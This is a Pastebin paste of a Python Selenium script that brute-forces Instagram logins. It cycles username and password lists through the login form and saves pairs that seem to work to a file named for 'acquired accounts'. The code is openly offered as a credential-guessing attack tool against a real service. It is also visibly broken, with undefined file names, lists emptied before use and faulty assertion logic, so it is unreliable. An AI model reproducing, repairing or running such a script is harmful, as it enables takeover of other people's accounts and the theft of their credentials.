Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Agosto, 5 del 1026
- import sys
- import optparse
- from selenium import webdriver
- from selenium.webdriver.common.keys import Keys
- from time import sleep
- driver = webdriver.Firefox()
- usuario = []
- class alpha:
- def __init__(self,usuarios,contrasenas,delay):
- self.delay = delay
- usuarios = open(usuarios.txt)
- contrasenas = open(contrasenas.txt)
- usuario = usuarios.readlines()
- contrasena = contrasenas.readlines()
- def brute(usuarios,contrasenas,delay):
- for usuario in usuarios:
- usuario = usuarios.readline()
- for contrasena in contrasenas:
- try:
- driver.delete_all_cookies()
- driver.get("http://www.instagram.com/accounts/login")
- usuario = usuarios.readline()
- contrasena = contrasena.readline()
- print ('Intentando con la contrasena: ' + contrasena)
- elem = driver.find_element_by_name("username")
- elem.clear()
- elem.send_keys(usuario)
- elem = driver.find_element_by_name("password")
- elem.clear()
- elem.send_keys(contrasena)
- elem.send_keys(Keys.RETURN)
- sleep(delay)
- assert (("Login" or "Iniciar sesion" or "registrarse") not in driver.title)
- assert (("Your username or password was incorrect" or "son incorrectos." or "es incorrecta") not in driver.page_source)
- except AssertionError:
- print ('Parece ser que la contrasena de ' +usuario+ ' es: ' + contrasena)
- try:
- f = open('cuentasAdqueridas.txt','a')
- except:
- f = open('cuentasAdqueridas.txt','w')
- f.write('username:'+usuario+'\npassword:'+contrasena+'\n')
- f.close()
- driver.delete_all_cookies()
- usuarios = open('usuarios.txt','r')
- contrasenas = open('contrasenas.txt','r')
- usuarios = []
- contrasenas = []
- delay = 3
- brute(usuarios,contrasenas,delay)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement